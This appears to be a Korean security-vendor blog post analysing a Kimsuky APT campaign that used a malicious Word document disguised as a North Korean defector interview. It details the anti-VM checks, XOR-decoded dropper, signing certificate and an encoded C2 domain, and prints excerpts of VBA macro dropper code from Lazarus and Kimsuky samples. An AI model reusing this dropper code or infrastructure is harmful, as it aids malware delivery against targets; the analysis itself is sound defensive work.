김수키(Kimsuky) APT 그룹, 과거 라자루스(Lazarus) doc 공격 방식 활용
특정 정부가 배후에 가담한 것으로 알려져 있는 김수키(Kimsuky) APT 그룹이 최근 탈북민 관련 정보를 담은 문서로 공격한 정황이 포착되었습니다.
이 공격은 지난 05월 29일 자유아시아방송을 통해 알려진 'DC 북인권단체에 북한 추정 사이버 공격 잇따라 포착' 내용과 연결되고 있습니다.
ESRC는 이번 사례를 분석하면서 매우 흥미로운 특성을 발견했습니다.
금번 공격에 사용된 악성 MS 워드(.doc) 문서파일이 라자루스(Lazarus) APT 그룹이 과거에 수차례 사용한 바 있는 VBA 매크로 코드 방식을 도입했다는 것입니다.
물론, 이러한 공격에는 자동화된 위협도구가 공유되어 사용될 수도 있지만, 반대로 의도를 가진 거짓표식(False Flag)를 넣어 위협그룹 조사에 혼선를 야기시키기 위한 일종의 교란전술이 될 수도 있습니다.
▶ 탈북민 인터뷰 내용으로 위장한 APT 공격 등장
우선 악성 문서를 실행하면 영어로 작성된 탈북민 인터뷰가 포함되어 있습니다. 그리고 다음과 같이 [콘텐츠 사용] 버튼이 보여집니다.
[그림 1] 악성 워드 문서가 실행된 화면
워드 문서의 악성 기능은 VBA 내부에 포함되어 있는 악성 매크로 함수에 의해 작동하는데, 최근 사례에서는 식별된 바 없는 Anti-VM 기능을 탑재하고 있습니다.
그리고 매크로 함수는 간단한 암호화 루틴에 의해 문자열들이 모두 인코딩되어 있습니다.
디코딩 과정을 통해 Anti-VM 기능 함수를 확인할 수 있습니다.
[그림 2] Anti-VM 기능 매크로 함수 디코딩 화면 A
[그림 3] Anti-VM 기능 매크로 함수 디코딩 화면 B
특정 영역에는 16진수 문자열로 선언된 악성 바이너리가 포함되어 있습니다.
[그림 4] HEX 스트링이 분리되어 포함된 화면
내부 명령에 의해 16진수 문자열들이 조합되고, XOR 복호화를 통해 32비트 악성 'winload.exe' 파일이 생성됩니다. 그리고 이 파일은 UPX로 실행압축되어 있고, 다음과 같은 디지털 서명을 가지고 있습니다.
디지털 서명은 발급자가 인증서를 해지한 상태이고, 서명자 이름은 'EGIS Co., Ltd.' 입니다. 이 서명자는 과거 김수키(Kimsuky) 그룹이 수차례 사용한 것이 보고된 바 있습니다.
[그림 5] 악성 exe 파일에 포함된 인증서 서명 정보 화면
EGIS 서명자 정보가 있던 정보는 다음 포스팅에서 동일하게 확인이 가능합니다.
▷ [스페셜 리포트] APT 캠페인 'Konni' & 'Kimsuky' 조직의 공통점 발견 (2019. 06. 10)
▷ 암호화된 APT 공격, Kimsuky 조직의 '스모크 스크린' PART 2 (2019. 05. 13)
▷ 한ㆍ미 겨냥 APT 캠페인 '스모크 스크린' Kimsuky 실체 공개 (2019. 04. 17)
winload.exe 파일에는 'BINARY', 'EXE' 리소스가 포함되어 있는데, 각 리소스가 한국어로 설정되어 있어, 개발자가 한국어 기반에서 제작했음을 관찰할 수 있습니다.
[그림 6] 악성파일 내부 리소스 언어 화면
▶ 악성 exe 파일 분석
악성 실행 파일은 UPX로 실행압축된 형태이며, 빌드시간이 2016년 07월 30일로 조작한 것으로 분석됩니다.
그리고 다음과 같은 PDB 정보가 존재합니다.
D:\SPY\CSpy\Online_Setup\Release\Online_Setup.pdb |
내부에 API 함수와 일부 문자열들은 doc 문서와 동일한 방식으로 인코딩되어 있습니다. 따라서 디코딩 과정을 거쳐야 육안상 식별하는데 용이합니다.
악성 실행 파일 내부에도 주요 문자열이 인코딩되어 있고, Anti-VM 기능을 가지고 있습니다.
[그림 7] 인코딩된 코드 내부 화면
명령제어(C2) 문자열은 다음과 같이 인코딩되어 있고, 복호화를 하면 'wave.posadadesantiago[.]com' URL 주소가 나타납니다.
Encode | xbwf/qptbebeftboujbhp/dpn |
Decode | wave.posadadesantiago[.]com |
2017년 라자루스 조직이 사용한 악성 doc 문서와 2020년 김수키 조직이 사용한 악성 doc 문서의 내부 매크로 함수를 비교하면 다음과 같습니다.
2017년 09월 발견 (라자루스) | 2020년 06월 발견 (김수키) |
Dim offBind(499) As Byte Open liveOffd For Binary Access Write As #2 lpdq = 1 For jnx = 0 To 0 For inx = 0 To 499 offBind(inx) = Val("&H" + Mid(strd(jnx + 1), inx * 2 + 1, 2)) offBind(inx) = offBind(inx) Xor 231 Next inx Put #2, lpdq, offBind lpdq = lpdq + 500 Next jnx Close #2 SetAttr liveOffd, 6 bazs = ThisDocument.Name Application.Documents.Open (liveOffd) Application.ActiveDocument.ActiveWindow.Caption = bazs ThisDocument.Close gaqz: | Dim offBin(499) As Byte Dim offLastBin(371) As Byte liveoff = Application.NormalTemplate.Path & "\" & liveoff Open liveoff For Binary Access Write As #1 lpdq = 1 For jnx = 0 To 122 For inx = 0 To 499 offBin(inx) = Val("&H" + Mid(str(jnx + 1), inx * 2 + 1, 2)) offBin(inx) = offBin(inx) Xor 251 Next inx Put #1, lpdq, offBin lpdq = lpdq + 500 Next jnx For inx = 0 To 371 offLastBin(inx) = Val("&H" + Mid(str(124), inx * 2 + 1, 2)) offLastBin(inx) = offLastBin(inx) Xor 251 Next inx Put #1, lpdq, offLastBin Close #1 SetAttr liveoff, 6
live = liveoff + " smart" Shell live, 0
gaqz: |
ESRC는 2020년 상반기 내내 라자루스(Lazarus), 김수키(Kimsuky), 금성121(Geumseong121), 코니(Konni) 등의 APT 그룹이 한국 등을 상대로 활발한 위협 활동을 진행 중 입니다.
이들 위협 조직들은 주로 외교, 통일, 안보분야 및 대북관련 탈북민, 언론기자 등을 상대로 지속적인 공격을 유지하고 있습니다.
보다 상세한 침해지표(IoC) 및 위협 인텔리전스 리포트는 '쓰렛인사이드(Threat Inside)' 서비스를 통해 지속적으로 제공할 예정입니다.
특정 정부가 연계된 APT 조직들에 대한 위협이 증가하고 있는 지금, 보다 체계화된 분석 및 대응이 요구되며, 국가사이버안보 차원의 노력과 투자가 중요한 시점입니다.
관련 분야 종사자분들 중 혹시라도 의심스러운 이메일을 발견하면 이스트시큐리티 ESRC(esrc@estsecurity.com)으로 언제든지 연락해 주시기 바랍니다.